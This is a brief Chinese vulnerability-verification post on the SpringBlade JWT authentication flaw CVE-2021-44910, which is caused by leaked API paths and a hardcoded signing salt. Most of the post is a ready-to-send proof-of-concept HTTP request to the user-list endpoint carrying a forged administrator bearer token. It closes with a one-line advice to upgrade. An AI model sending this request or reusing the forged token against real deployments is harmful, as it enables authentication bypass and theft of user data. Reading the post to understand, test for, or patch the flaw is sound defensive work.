漏洞验证-SpringBlade框架JWT认证缺陷(CVE-2021-44910)
一、漏洞描述
SpringBlade框架JWT通过app.js泄露的接口信息和硬编码在jar包中的salt可以轻易的伪造用户或管理员凭证。
二、验证POC
GET /api/blade-user/user-list HTTP/1.1
Host: XXXX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko
Accept: */*
Accept-Encoding: gzip,deflate
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
blade-auth: bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIn0.JOsWrAkblh7PFJFrr_cmuOQMrzStfwvee61sSVH4o6p401oAHpP284VkL0CyKnUX1MT8KnrCAOPRYBRbmfcdTg
三、验证截图

四。整改建议
联系厂商升级到最新版本。
浙公网安备 33010602011771号